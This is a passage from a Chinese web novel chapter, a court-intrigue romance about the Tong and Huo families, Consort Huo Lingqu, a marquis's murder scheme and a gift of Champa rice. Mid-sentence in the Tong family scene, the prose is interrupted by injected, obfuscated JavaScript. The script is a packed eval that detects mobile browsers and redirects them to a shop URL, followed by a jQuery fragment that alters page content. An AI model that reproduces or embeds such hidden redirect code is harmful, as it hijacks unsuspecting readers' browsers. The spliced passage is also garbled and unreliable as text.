这十多天一直是他在送饭。 儿孙们发现他在给老太太送饭之后任由他送,但也一直只给一份膳食,就只有他那份,他愿意把自己的一半口粮省出来给老太太就让他们老俩口这么过着。 他现在在这个家里一点说话的余地都没有,就是要仰儿孙鼻息过的,他也仿佛这十几天什么都清醒了,安安静静,给他一口饭,他吃半口,剩半口给老妻。 饭菜送来,每次饭菜送来,佟老太太都想哭,她生五个儿女,疼爱过的孙子、孙女,到头来还是丈夫对她好。 其实佟图匡是兔死狐悲,这些儿孙们能这么对自己的亲娘、亲祖母,能不能这么对他呀? 能呀,他再想自欺欺人都骗不了自己了。 他看着老妻的境遇就想到自己,怎么都不忍心的就想来给送口饭吃。 犹记得佟梦如曾说:娘你可要当心啊,当心他们兄弟活活饿死你都做得出来。 佟图匡心里老泪纵横,怕呀。 第二天早上,晨间微风送凉,佟梦骜、佟梦奭、佟梦姿、佟振羽、佟蓁蓁来到湖心亭,见到确是昌隆侯本人在场,佟梦骜心里松口气,热络地寒暄。 佟梦奭比他弟弟还热情,几度抢话,被噎好几回的佟梦骜瞪他半响,气闷地自己憋住,佟梦姿和佟振羽兄妹则都没说话,昌隆侯请他们坐,佟梦骜三兄妹都坐下了。 石桌,四只凳,昌隆侯带了女儿和檀慈在湖心亭,他独坐,还有三只石凳空着,佟家三兄妹坐看似是没什么问题,檀慈转头,这伙人还真一点不客气。 昌隆侯推推手边的木匣:“蓁蓁就要及笄了吧,这是小女的一点心意。” 朱縠艾冲她颔首,佟蓁蓁负气不理会,佟梦奭兄弟忙谢过,再让外甥女致谢,佟蓁蓁仍倔着,气得佟梦奭要训斥时被昌隆侯笑着拦住:“不碍事,一夕间经受这么大的落差,大人都未必受得住,何况蓁蓁还这么小,心里不好受很正常嘛。” 佟梦骜赔笑:“侯爷宽厚。” “蓁蓁的前程,佟家是就想寄望给湘王了?”昌隆侯问,佟家兄妹对视过,佟梦骜应:“侯爷明悟,湘王已经是蓁蓁最好的出路,佟家没用,实在找不到比湘王更好的给蓁蓁了,侯爷可是能给蓁蓁再指条路?”最后的问话颇有几分小心。 昌隆侯未语,朱縠艾站出来道:“镇南侯。” 佟家兄妹仨一讶,不由得再相互看看,佟振羽和佟蓁蓁都有了点反应,佟梦骜想不好:“镇南侯很强势吧?”佟家拿不住吧。 朱縠艾轻笑:“可以先失身给他嘛。” 佟家人猛地都看向她,朱縠艾诱惑:“佟蓁蓁失身给镇南侯之后,镇南侯若不妥协,佟蓁蓁照样还可以赖给湘王谋划做湘王妃,反过来可就不行了。湘王只是个闲散王爷,镇南侯可实打实的大权在握,若是能够攀上镇南侯,佟家难道不要?” 佟梦奭心热起来要同意时被佟梦骜拉住:“侯爷,我们家商量商量。” 昌隆侯点头。 佟家人一走,檀慈就像想蛊惑一般再劝侯爷真的不考虑留佟振羽谈谈吗?他这个主意就是专门给佟振羽准备的,让霍海啸在众目睽睽下杀死佟振羽才刺激嘛。 昌隆侯不语,朱縠艾无奈笑:“先生,佟振羽怎么可能会愿意换个身份?” 佟振羽当然不会愿意。 梅斗和昌隆侯都是想都不想。 佟家人回到住宅前,佟梦奭斥责:“这稳赚不赔的买卖还商量什么呀。” “那也不能那么急切的答应,平白让人看轻了。”佟梦骜越过他推院门,佟梦奭一噎,要跟着进院时走在前的弟弟突然站住害他差点撞上:“你干什么?”瞥见个庶弟,这地上还绑着群奴婢横七竖八躺着,他愣了愣:“这是干什么?” “怎么今天才回来?”佟梦骜问,佟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459336|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦从连忙解释:“大哥二哥,我刚赶路时赶得太急在路上病倒了,实在起不了身,所以耽搁了几天。”他指向这群奴婢:“哦,我今早到家发现家里人都晕过去了,这些个奴婢要偷身契和银两逃跑,幸亏我赶上了。” 佟梦奭尖叫:“偷身契和银两逃跑?” 佟梦姿娘仨进院来,看见是他们还剩的十个奴婢都被绑了。 “这群奴婢之前都被养成什么德行了,有什么做不出来。”佟梦骜看向二妹娘仨,道:“二妹,别说我不给你脸面,你说怎么办吧?” “你想怎么处置就怎么处置吧。”佟梦姿无所谓,佟振羽和佟蓁蓁也没话。 佟梦骜问庶弟:“他们偷了多少?” “能拿的全拿了。”佟梦从前天就入京了,不是真这么凑巧,他暗中观察两天,今早有这么好的机会,当然要现身。 佟梦骜冷笑声:“呵,这是非要上断头台啊!”对庶弟指派道:“你带卓伦兄弟押他们去京兆府,按死刑给他们报。” 曾经养得细皮白肉的奴婢们剧烈挣扎起来,包括佟振羽的花珀姨娘。 站着的人,无人怜悯。 佟蓁蓁第一个越过去回自己屋里了,佟振羽闷头往外跑,佟梦奭要拦反被佟梦骜阻止:“人家心情不好,出去透透气就回来了。” “谁心情还好了?”闷在这么个破院里,谁心情能好?佟梦奭没好气。 “可你又没姓过霍。”佟梦骜凉凉道:“本来他没有做皇后的妹妹还能有做皇后的姐姐,可以要多风光有多风光,现在跟着咱们窝在这个犄角旮旯里,怎么能好受?” 佟梦姿也听不下去地走了,佟梦奭更没好气:“这还不是这娘仨自己作的,我们能想让他们闹成这样吗?大姐这么多年和晏墉关系那么差、和儿子关系那么差都还没闹出事来呢,怎么这娘仨一闹就成这样,他们吃饭全吃在屁~眼儿里的吗?” “行了,还要指着他们的,闹太难看不好看,回屋休息吧。” 佟梦骜要走了反被佟梦奭拉住:“真要把妙兮嫁去房家呀?” “你还想把妙兮往宫里送啊?”佟梦骜受不了。 “那,那毕竟还有大姐在——” “毕竟你个头啊毕竟!”佟梦骜破口大骂:“你管你爹娘死活吗,晏墉有什么做不出的,大姐能顶屁用啊,爹娘做白日梦疯了,把咱家害到这个境地,你还要跟着疯啊,那你去试,看你的脖子够不够硬,被人神鬼不知的杀了别喊我给你收尸!” 佟梦骜火大地踢脚走掉,佟梦奭气弱的摸下脖子,也回屋了。 押奴婢去报案的佟梦从叔侄来到京兆府前,看府衙前聚着好多人,佟梦从随手拉个看客打探下这是出什么事了,得知是魏王在和他外祖家闹断亲,叔侄仨诧异对视眼。 乐邑长公主对此的感受是:她婆婆这两天真是要乐疯了。 家里待不住,乐邑宁愿进宫躲清静。 “我婆婆还想去添把火呢,都不用她出手,任家自己就把火烧起来了,他们初八到的,来没两天就嚷嚷着不敢在魏王府住了,怕再住下去、任逍要没命了,要去崇孝长公主府住。结果要走的是他们,魏王没留,又对魏王冷嘲热讽尖酸刻薄。” 乐邑无语凝噎:“这闹腾得,连我大侄儿歆郡王和我大嫂都闹过去了,特别是我大姐,真不知那任逍给她灌什么迷魂汤了还真帮着任家指责魏王的不是。” 霍灵渠晒着太阳饮口桃羹:“然后呢?” “魏王被惹火了,昨天把任家人全赶走了,连我大嫂和歆郡王还有魏王妃要做和事佬都被魏王拦着不让。”乐邑说着喝口燕窝,霍灵渠猜:“任家不可能认吧?” “不认啊,我那大姐都气急败坏一蹦三丈高了,这不一个时辰前就闹到京兆府去了。”乐邑长公主嫌道:“真不嫌难看,崇孝她不想给儿女说亲事了是吧。” 霍灵渠讶然想到:“歆郡王再过四个月该满二十岁了吧,还没有成亲?” “没呢,大嫂相看都没给相看过,估计要到明年端午之后了吧。”乐邑情绪低落了些:“大哥去世都11年了,明年端午就满12年了。” 霍灵渠低头,手握着白瓷盅,没说话。 “嗳你说,兵符会在谁手里?”乐邑突然问,霍灵渠眸睫掠起点点防备看她,乐邑形容端正道:“我只是好奇大哥最信赖的人会是谁,按说既是大哥最信赖的,魏王应该很快找出来才对嘛,怎么会都11年了,魏王还连兵符的影儿都没见着?” 霍灵渠闲侃:“也许他还伤心呢,他大哥最信赖的人不是他。” 乐邑险些喷笑,霍灵渠这蔫坏的:“崇孝肯定这么想过。” 霍灵渠手托腮:“唉……” 乐邑瞟瞟她:“哎你听说没有,玉藏珠的丈夫进京了,虽然是他一个人到的,但这妻儿晚一些嘛,月底肯定也能到了。”乐邑长公主不怀好意觑她,霍灵渠端坐好,半垂着眼睑,一副此地无银三百两的小样:“看我做什么?” “你就没什么感觉?”乐邑哼哼,霍灵渠端起茶盅品茶。 “太假了。”乐邑提醒。 霍灵渠瞄瞄她,乐邑扬起占上风的自得:“想问什么就问吧。” 霍灵渠略兴奋地笑,像只偷腥的小猫:“这玉藏珠的丈夫有妾室吗?” “呃?”乐邑愣下略怪:“你这问题挺新奇哦,你怎么会一上来就关注这个?”但她也没多想的给答案了:“好像有两三个妾室吧,也有两三个庶出。” 霍灵渠瞬间没兴趣了,晏霁之都想一生一世一双人呢。 霍海啸到来,乐邑抬抬眼皮,自觉走人。 兄妹俩进去屋里,霍灵渠抱起备好的小木箱给哥哥,霍海啸回张纸,霍灵渠拿来一看,怔怔得。霍海啸也没多留,拎起贵妃名义上是要给妹妹和小外甥的木箱就走了。 出宫,霍海啸回家把这箱子放老太爷那儿,用过午膳便又去忙了。 夕阳红透天际,忙碌一天的霍海啸又去趟英王府。 晏霁之醒来看见他,真想再睁一次眼:“你会吓到我的,有补偿吗?” 霍海啸放下书卷:“你想要什么补偿?” 晏霁之当即要求:“明儿个你帮我拖住皇帝两个时辰让我和你妹妹独处。” 霍海啸回他一个字:“滚。” 晏霁之扭头埋在薄被里:“你还是走吧。” 霍海啸很和顺:“你就知足吧,贵妃前天都出宫来看你了。” 晏霁之按按额头坐起来,霍海啸问:“据说你算好了,今天睡了一天?” “嗯,昨夜亥时末算好的,能不能成就不知道了。”晏霁之还疲惫,前俩月他还失眠,这下算是把失眠治愈了。 霍海啸递张纸给他,晏霁之接过,看完怪异:“昌隆侯怎么会觉得佟家和郭家在霍家面前还能有秘密,遑论娉姨娘和霍鸳娇姐弟?” “再者,让建威侯世子约你出来?”晏霁之都有点被噎:“霍家和郭家什么情形,霍家怎么可能不生疑戒备,他,昌隆侯怎么会认可这种错漏迭出的计策?” 霍海啸答:“他怕是没考虑过这些问题。” 晏霁之沉默会儿,抬手拍拍他的肩膀:“伴君如伴虎。” 霍海啸看他,晏霁之感慨:“我相信,昌隆侯一定很想保持清醒,至少在他成功之前,他很明白自己不能迷失,否则他就是死路一条,可他还是在潜移默化中迷失了。 假若我们能和嬴忱璧善始善终,我一定会比你早退很多年,甚至于,他活着、你能不能退都难说。如若他需要有个家人的位置在,只能是霍家了,你就退不了。” “为什么?”霍海啸揪问:“你能比我早退很多年?” “我要霍灵渠。”晏霁之说。 霍海啸抓起被褥盖他头上,差点想闷死他算了。 晏霁之逃过魔爪,还略微有些头重脚轻之感的起来洗漱,把自己拾掇清爽,喝盅补汤,他靠在庭前的躺椅里养养神,夜空繁星璀璨时,他再出门。 来到原家,进入原牧炽的房间见到他,看见他的行李还放在桌上摊开着,晏霁之注视着他包袱里的衣袍鞋袜,明知故问:“行知刚走?” “你怎么知道?” “我猜这些衣物是他给你的。”晏霁之走到桌前拿起最上面的荷包,荷包缀有平安结,平安结里编着平安符,这平安符就是她前天出宫进香求来的吧。 原牧炽惊了:“你这都能猜中?你正常不是该猜这是女眷给我的吗?” 这就是女眷给你的呀,晏霁之笑笑:“护国公夫人若是给你准备,你都别扭吧,原家还剩下谁,你小妹?堂妹?更不可能吧,那只能猜行知了。” “好像也是。”原牧炽同意,晏霁之担心他:“你荷包总不会乱丢吧?” 原牧炽白他,晏霁之把荷包扔给他:“看看,多了解你,知道单给你个平安符平安结,今夜给你,你明天早上就能找不着在哪儿了,特意给你把它们系在荷包上。总不至于,你连钱袋都能乱丢吧?能注意就注意些,好歹是一番心意。” “知道了。”原牧炽闷闷,他又不是故意忘的。 晏霁之把信给他,原牧炽拿过来,边拆边问:“这什么?” “给昌隆侯的礼。”晏霁之拿块糕点尝尝。 “哦,你出关了是吧。”原牧炽展信看看,不禁皱眉:“你这什么玩意儿?” “我的第一个方案。”晏霁之想,还好,糕点不像她做的。 原牧炽关注偏了下:“你还有第二个方案?” 晏霁之没有阻碍地接住他的重点:“对,第一个方案失败,我就用第二个方案,第二个方案很简单,我可以自己来,这第一个方案就麻烦你了。” 原牧炽把信收起来:“行吧,看你能算出个什么玩意儿来。” 晏霁之奉上二千两银票,原牧炽顿时脸色不好,晏霁之解释:“你下个月生辰,没什么能送你的,你有什么想吃的想买的,自己买吧,也合你心意。” “这还差不多。”原牧炽把银票收下,想起来,脸色又有点怪:“我表哥也给我送钱了,也是当做给我的生辰礼,你们为什么都想给我送银两呢?” “送别的,你可能转头就不知道丢在哪儿了。”晏霁之心累。 原牧炽踹他一脚:“你们要是给我送我喜欢的,我能随便放吗?” 晏霁之很真诚:“那还不如送银两呢。” “滚!” 寅时末,天边泛起鱼肚白,原牧炽率领他从北境带来的铁骑出京,在京郊和大哥会面,接过皇帝派来的二百人,跟大哥别过,率队南下。 145. 第145章 晨曦明耀,南北前线各千名铁骑入城,百姓们沿路围观,人山人海。 南疆的将士在前,毕竟有给霍贵妃送礼的名义,镇南侯的两份贺礼就在队列最前方,第一份礼是孔雀,一只蓝孔雀一只绿孔雀,没见过孔雀的人们看得可新奇了。小祐娃娃拍手,霍桑柔的视线也光追逐着孔雀了,原来孔雀长这样啊。 北境的铁骑过来,霍枫叶随手丢下荷包,问侄女是不是掉东西了?霍桑柔随口啊声,霍枫叶抱过小祐,让侄女好好找找,霍桑柔奇怪弯腰,正好错过原牧烈的身影。 南北铁骑行至皇城前,南疆领头的将领跟禁军报备:他家侯爷有话给霍贵妃,要在皇城前喊出来,请陛下应允。禁军通报过,回复:陛下允了,镇南侯有话,说吧。 他遂后退,冲皇城高喊:“霍灵渠,老子都给你送礼来了,你还不亲自来接?” 众人愣下,捧腹大笑。 皇帝嬴忱璧亲自携霍贵妃出皇城来,还带着十多位大臣,众将士行过礼,嬴忱璧打趣:“朕和大臣们皆陪贵妃来迎,这排场,镇南侯可还满意?” 不知谁带头的,又是阵响亮的哈哈大笑。 镇南侯的礼呈上,第一份是两只孔雀,霍灵渠看过孔雀,再看第二份,是只小木匣。 她打开木匣,拿起木匣里的稻穗,又拿起匣底的字条,面色讶然:“是占城稻呀?” 嬴忱璧假装被吸引道:“贵妃说什么?” 霍灵渠美目莹然,含蓄欣喜:“陛下,这是占城稻呢。” “占城稻?”皇帝一脸不懂,霍灵渠解说道:“是呀,陛下,臣妾在英王府时曾耳闻,这是占城国、真蜡、交趾等国普遍种植的谷物,我朝在福建和广南也有种植,是与外通商的商人们带回来的,此稻耐旱、不择地而生、乃至可一年两熟①。” 班丞相猛一个激灵,除少数几个还没反应过来,多数大人也都清醒了,有两位御史看着霍贵妃的眼神几乎都有些发怔,谁不以为就是来走个过场呀,有御史想哭。 镇南侯这哪是送两只孔雀来呀,霍家,不带这么玩的。 嬴忱璧眼中惊喜闪过:“贵妃之意,此稻能提高全国粮食的收成?” 霍灵渠明眸璀璨:“臣妾觉得,能。” 刚还有迷糊的几位大人和许多围观的士兵以及百姓们相继意识到情况,相比起百姓们的新奇观望,众人大人压低着视线相互觑觑,真不知想哭还是觉得苦啊。 嬴忱璧转向众臣,同僚们异口同声:“臣等孤陋寡闻,请陛下降罪。” “无妨,朕也才听闻。”嬴忱璧再面向贵妃,温柔笑:“贵妃给它改个名字吧。” “就叫早稻吧。”霍灵渠提议:“百姓们都想盼望谷物早丰收。” “好!” 皇帝很高兴,霍灵渠敛衽施礼,班丞相率众贺喜陛下,百姓们纷纷跟着作揖,嬴忱璧亲自扶过贵妃,对南疆的将士道:“镇南侯的这两份礼,很好,想要什么赏赐?” 他们就道:“陛下,咱都是大老粗,您这么说,咱们可不跟您客气。” “尽管说!” “末将们想跟您求一个恩典,不是现在,是将来、过些时候的恩典,陛下可否让末将们把这恩典暂且留着,待末将们想向您讨要这个恩典时您再赏下?” 嬴忱璧沉吟下允了:“好。” 南疆的众将士们谢恩,皇帝再接见北境的将士们,原牧烈和霍海啸同龄,一表人才,和光同尘,虽是在战场杀伐之人,然他形容淡雅谦卑,面观似寡言少语,和霍海啸一眼差距,若霍海啸在众人看来是想位极人臣之辈,他就是能毁家纾难的忠义之士。 嬴忱璧和原牧烈寒暄过,给霍贵妃引见:“世子可还记得灵渠?” “臣是陛下的童年伴读,贵妃当时是陛下的未婚妻,岂有不记得之理?”语态温润,原牧烈看向霍贵妃,含笑点头似也有替她欣慰之意,霍灵渠客气回礼,就是面对个童年相识的大哥哥,在人前的距离都把握得当,谁都没有视线多瞟一眼。 晨间太阳光夺目生辉,巍峨皇城前谁看不是,皇帝、贵妃,醒目显著。 皇帝嬴忱璧亲率南北前线的铁骑去太微宫拜见太上皇,霍贵妃自行回内廷。 至于给众将士接风,四皇子将满月,皇帝定,和四皇子的满月酒一起。 “什么?!” 平原大长公主简直不可思议:“就这么一株稻米,霍贵妃将来入主中宫就定了,你在发什么疯,你是也和英王世子一样突然着魔了不正常了是吧?”平原连连抨击,显国公淡定:“你有本事找个更好的谷物来啊。” “不就一株稻么。”平原冷嗤。 “你还真找不到更好的了。”显国公接,平原训:“你别长他人志气灭自己威风行吗?” “霍家请镇南侯千里送来的,这会是什么?”显国公耐心很好,平原微怔,好像一时间难以再轻视的感觉,显国公真不知该否自嘲,发笑道:“这手阳谋用的,圣人都始料未及,镇南侯千里送来的不是孔雀,是凤凰,这是真把凤凰给霍贵妃送来了。” 平原迟疑下还是不屑,想到昨夜收到的礼,冷哼声,轻蔑自得地走了。 显国公瞧她,怀疑她是不是被谁利用又要犯蠢了。 薛家类似的对话在不少人家均有发生,翊善伯还特意去趟内廷告知孙女,翁嫔怔怔得,不是受不住,大概是太突然了有些受冲击吧:“贵妃入主中宫,稳了?” 她看看她的小皇子,明天就要抱给贵妃养了,低头道:“孙女知道了。” 霍灵渠即将搬回关雎宫,故,镇南侯送来的两只孔雀,她带去长春宫给太后姑母看过,便安置在关雎宫了。两只孔雀在小湖边散步,她倚靠在湖岸水榭看着它们发呆,神情迷离,晏霁之来时,她还在发呆,晏霁之关切道:“怎么了,神不守舍的?” 霍灵渠置若罔闻,就望着孔雀发呆,看都没看晏霁之一眼。 晏霁之点评:“看样子,你好像在生我的气。” 霍灵渠闷着俏脸甩脸色给他看,还就是生气了。 晏霁之走过两步想抱她,霍灵渠昂首扭头:“别碰我。” 晏霁之怪了,他招她惹她了? 想不通,晏霁之只好威胁她:“你说,我哪里惹着你了,你要是不能给我个合理的解释,我就把你扔进湖里。” 霍灵渠怒起瞪他,晏霁之大方道:“我可以陪你一起落水。” “哼!”霍灵渠知道自己不占理但就是气闷:“五月初四,你走前怎么跟我说的?” “我跟你说什么了?”男人表示不懂。 霍灵渠差点想打他,板过脸继续生气,晏霁之无奈:“到底怎么了吗?” “谁让你那天跟我说:一定是报应,报应我可以想抱你就抱你时没有珍惜,所以现在,想多抱一会儿都难。”昨天看过她大哥给她的消息后,霍灵渠心情不好,想抱晏霁之,可,人呢?所以这就是她的报应咯? 霍灵渠心情差就想发发脾气。 就算她是无理取闹,晏霁之也活该被迁怒,谁让他跟她说什么报应不报应的。 晏霁之心凝滞下,他低眸,从桌边搬只锦凳来放在女人身侧,他落座,弯下腰似要倚着她把自己埋起来,霍灵渠忽然没了脾气,他比她还不好受呢,毕竟他喜欢她。 “我不是要怪你。”霍灵渠心泛酸。 “傻话,你是应该要怪我。”可他,他眼下什么保证安慰都给不了,晏霁之心中悲涩,全没注意到当中的异样,霍灵渠能往他怀里扑是他给她养出来的习性,但,霍灵渠只因在想他时见不到他就跟他闹脾气,这可不是他能惯出来的。 晏霁之坐直,抬手想抚抚她的脸,霍灵渠望向他,怀恋似要溢出来。 两人视线胶着间,晏霁之转而去桌边端盘水果来给她,霍灵渠接过果盘,小脸闷闷的,晏霁之故作打趣:“我给你装箱金元宝来当做给夫人赔罪了,好吧?” “谁是你夫人,谁要你的银两?”霍灵渠凶他,转念想又伸手,银两嘛,不要白不要。晏霁之把身上带的银两给她,顺便要求:“给我绣个荷包吧。” 霍灵渠哼声,没说好没说不好,晏霁之剥只甜橙给她,霍灵渠抿抿唇,还是被哄好了:“昌隆侯和佟家人、建威侯府还有娉姨娘、霍鸳娇姐弟搭上线的事,你知道吗?” “你大哥昨天告诉我了。”晏霁之又剥颗荔枝给她,霍灵渠让他自己吃吧,她没心情:“你说建威侯父子和霍鸳娇姐弟同意昌隆侯的计划时会是什么心情?” “上个月,郭家想害你时你都没什么感触吧?” “是啊,郭家想害我时我没感触,但这回他们想害我大哥,我就是有感触。”看见皇帝带着她大哥走来,霍灵渠没心情理会仍然坐定着,她倚在鹅颈椅中,神色戚戚:“大概是,我离家十六七年对他们相当于是陌生人,可我大哥不同。 霍家和郭家五十年亲戚,老建威侯死后霍家更帮扶郭家十余年,霍家迄今为止从来没有想过要害死他们,怎么就……他们就能冲霍家下死手?” 嬴忱璧在桌前坐定,晏霁之未语,霍灵渠再问遍:“他们当时会是什么心情?” “很痛快吧。”晏霁之猜。 “包括娉姨娘和霍鸳娇姐弟?”霍灵渠眉目渐冷。 “当然,他们会更痛快。”晏霁之推测道:“他们会想,让霍海啸以前对他们不可一世,这回栽他们手里,让他们做梦都能笑醒,下半辈子的气儿都能顺了。” 昌隆侯的计策是:由建威侯世子将霍海啸约出来,在霍海啸的酒水里添点料让霍海啸神志不清极易发狂,再由霍超群登场挑衅,让霍海啸在大街上、众目睽睽下杀死霍超群。当然昌隆侯的说辞是假死,朱家会给霍超群换个身份照样给他富贵一生。 见面礼,昌隆侯就给了五万两,三人对假死毫不怀疑。 但,这场谋划,霍超群怎么能不真死,也就骗骗他们仨而已。 “我想过找爹爹问问大伯的意思,想想,还是不问了。”霍灵渠注目他,眼中阴沉肃杀:“我想明白庄太妃为何会给假霍桑柔挑武襄侯府了。” 晏霁之一怔:“你是说?” “对!”霍灵渠眸光狠厉:“是四姐姐的死!”她纤细白皙的天鹅颈青筋直暴:“不是因为升平是太上皇的姐姐,而是因为庄氏握着升平的把柄,能要升平命的把柄!” 晏霁之眼睛红了几近哽咽,他一时间甚至没有对仇人的恨,只痛惜他表姐的死。 嬴忱璧心都难过了下,缓和过,皇帝走到卿家面前,晏霁之站起来行礼,霍灵渠没动,嬴忱璧略过贵妃的没有礼数再略过此事免得再增伤感,皇帝视线瞟向桌上的木匣。 “那是,霁之送给贵妃的礼?” 晏霁之压压悲伤:“是臣要给陛下的,就是臣之前承诺要捐给陛下的银两。” 嬴忱璧:“……”你还当真啊你。 霍灵渠抬眸看看:“捐给陛下?” 晏霁之解释过,霍灵渠哦声:“那我也捐十万两吧,我待会儿拿给你。” 嬴忱璧被噎得真是说什么都不合适,忽然瞥见霍海啸,霍海啸侧头,识趣地没有多话,嬴忱璧顺顺气,再想略过时,霍灵渠提及:“佟妙兮和房祯毅的亲事定了?” “下月初一。”晏霁之报个日子。 “他们会怎样收场?”霍灵渠又渐萎蔫,晏霁之答:“房副相老谋深算。” “不必他爹娘厌恶佟妙兮,房祯毅自己就会对佟妙兮弃如敝履?”霍灵渠讶然。 晏霁之预计:“恐怕不止是对佟妙兮,房祯毅自己也要被他爹娘深恶痛绝了。” 霍灵渠视线向湖岸:“如你猜测,可之前难道不是他们自愿娇惯房祯毅吗?” 嬴忱璧可算有说话的机会了:“霁之的算术算好了?” 晏霁之嗯声,嬴忱璧笑问:“可有什么感悟?” “不想英年早逝。”晏霁之发自肺腑的说,皇帝、贵妃、霍海啸同时看他,晏霁之累道:“太伤精气神了,陛下若能允许,我还想回家补眠。” 霍灵渠这才认真看他,发现他还有掩不住的憔悴,皇帝很大方:“补几天?” “您放心,我今天再休息一天就好。” “去吧。” “谢陛下。”晏霁之告退,霍海啸也没滞留,一起走的。 霍灵渠目送他们走远,没精打采地靠在鹅颈椅中,盘算着把皇帝赶走。 其实皇帝很忙,但还是又坐坐免得好像他就是为了来盯梢:“贵妃好多年没见过孔雀了吧?” “嗯,嬴天漾个棒槌,要么送一对蓝孔雀,要么送对绿孔雀,要么送四只,一对蓝一对绿。一蓝一绿,亏他送得出来,还大摇大摆送来,那么多年了,眼光就不能提高一点吗?”霍灵渠发牢骚,嬴忱璧看看那两只孔雀,是有点嫌弃了。 霍灵渠看向皇帝,嬴忱璧涌起不好的预感,霍灵渠说:“你们是堂兄弟哦。” 你的眼光好像也不怎么好。 嬴忱璧干笑,还是不纠正贵妃也不打扰贵妃了,就走了吧。 霍灵渠小脸垮下来,看皇帝没把晏霁之的木匣带走,她带回长春宫,再装十万两银票。 放好木匣,她去小厨房炖人参鸡汤,可鸡汤炖好了却是送不出去的。 她转过念头想送给姑母或者怀着身孕的堂姐,仍是不愿,只守着鸡汤凉掉。 皇宫外,霍雄鹰和霍三老爷在众多关注下走进武襄侯府。 随行还有两位嬷嬷,来送补汤的,天天送,直到武襄侯这妾室怀上。 霍三老爷脸薄,没说话,霍雄鹰皮糙肉厚给他们介绍:“这是许姨娘,比你小三十岁,她前夫死十来年了一直没有再嫁,她家里怕她孤单,劝她找一个。 她家里对她挺好的,她不想找,兄弟们也能养她到老,她愿意跟你就是看你年纪大没多少年活头了,就是想跟你借颗种有个娃过后半生。话说在前头啊,你死后,她要回自家的,孩子也让她带走,我想你也没意见吧,这样处理对你肯定更好些。” 武襄侯铁青着脸,不语。 霍雄鹰招招手,两位嬷嬷端出补汤,武襄侯的脸色再难看些,霍雄鹰劝:“喝吧,宫里天天都要送的,她们要看着你们两个喝了才会回宫复命,你个大老爷们还扭捏个什么劲啊,许姨娘怀上前你俩天天都要喝的,大家都盯着呢。” 武襄侯火大地抄起碗灌下,许姨娘也捧起碗喝下,霍雄鹰利落收队,走了。 隐在暗处目睹的武襄侯的女儿和孙辈们,所有的愤怒屈辱化做四个字:欺人太甚! 薄暮暗,昌隆侯纵马入城直奔虢王府看望长女,虢王世子妃哭声凄绝,不断哭喊着爹,让他们去死把他们碎尸万段,陪同来的朱窅絜和朱縠艾各自暗暗翻白眼。 虢王府今日还有位不期而至的远客,虢王的嫡长姐、六十二岁的饶香郡主进京了。 虽然虢王府近来多遭霉运,今天还是个好日子,虢王请女婿和亲家用晚膳,护国公夫人都准备要去的,不想原牧烈给回绝了,消息传来,据说,虢王在桌上都摔筷子了。 小姑娘去给哥哥报信,大眼咕噜噜转:“大哥你是不是不喜欢大嫂?” “小孩子,瞎说什么。” “我不是小孩子啦,”原牧蔷小姑娘摇摇脑袋:“你对大嫂多冷淡,二哥对二嫂、三哥对三嫂都是多热切,明显很不一样嘛。”小丫头有理有据。 “人和人都是不一样的。”原牧烈陈述。 “但喜欢也不会差太多吧,你连去岳家吃顿酒都不去。”小姑娘反驳。 “我常年在军中,不会在酒桌上打交道,去了,大家都不自在,不如不去。” “好吧。”原牧蔷喜盈盈问:“大哥,三哥这次留了好多天,你能不能也多留几天?” 原牧烈怪道:“家里有事吗?” “没有啊,但是家里都是女眷和小孩,你们在,安心。”小姑娘眨着亮亮的眼眸,没有凄哀愁怨只有兄长们回来的喜悦,她很高兴父兄们是保家卫国的英雄,就是会觉得孤零,原牧烈只觉心头被刺了一下:“大哥看吧,能多留会多留些时日。” “啊,”小丫头欢喜道:“大哥你歇息吧,我不打扰你了。” 小妹蹦蹦跳跳远去,原牧烈低头,沉静下,换夜行衣出门,去霍家。 霍海啸亲自接他:“没想到你今夜就要过来。” 夜空星月交辉,两个人连灯笼都没提,原牧烈感叹:“见一见,安心。” 避着人来到小祐娃娃的屋里,霍海啸在屋外把守,原牧烈独自进屋,来到床榻前,床帐里的小侄儿睡得正香甜,原牧烈坐在床沿看会儿,望着小侄儿稚嫩的脸庞,一时脑子放空,一时回忆与今早相见时的画面交织,许久,他给孩子把薄被盖盖好,放轻脚步离开。 霍海啸又带他去书房,两人相谈小半时辰,原牧烈回到家已是星辰隐没时。 他进屋点灯,见章醇坐着,他看眼身着的夜行衣,问:“怎么不点灯?” 章醇郡主自然看见他的夜行衣了,答非所问:“你觉得我今夜肯定不在?” 原牧烈没搭话,章醇郡主自嘲:“我也觉得我应该不回来,我爹心情差,谁又心情好,他们怪我,我若跟你有个孩儿,虢王府这回出事,原家哪能袖手旁观。” “是你自己的选择。”原牧烈言罢去净房洗漱。 成婚后可以跟去边塞住几年,章醇郡主和原牧烈成婚后跟他在北境住过一年,一年,是她的极限了,她实在过不惯北境的日子,不像她二弟妹,喜欢舞刀弄枪,在北境住了五六年都还嘻嘻哈哈的,都是非得让她回京来了才回来。 那一年,他们没有孩儿,快十二年了,也就一直没有孩儿,章醇郡主有时候想想,日子都不知道怎么过去的,这月底,她和原牧烈成亲就十二年了。 就寝时夫妇俩各自盖条被子,疏离得陌生,章醇忽然念起:“你有多少年没碰过我了,好多年了吧,你也没想要纳妾,我想你若是在外面有女人了,你会给个名份的,一直没有,你还真没有找过,这么些年你是怎么过来的?” 原牧烈甚至有丝谴责意味:“军中的将士,谁不能过?” 章醇反提醒:“他们是没有女人,可我就在你边上,你为什么都不想?” “你也不想。”原牧烈晚膳还被母亲灌过补汤,可无意,有何用。 章醇郡主笑了,这就是他们的婚姻,她的婚姻。 夜在曙光中褪色,旭日出,霍灵渠着贵妃朝服跪在宣政殿前上奏表,关于早稻的奏表,皇帝陪贵妃前往太微宫呈给太上皇,未久,旨意传下,择钦差不日南下。 而皇帝和霍贵妃刚折返,还没抵达皇城前,就各有一桩闹事摆在他们面前了。 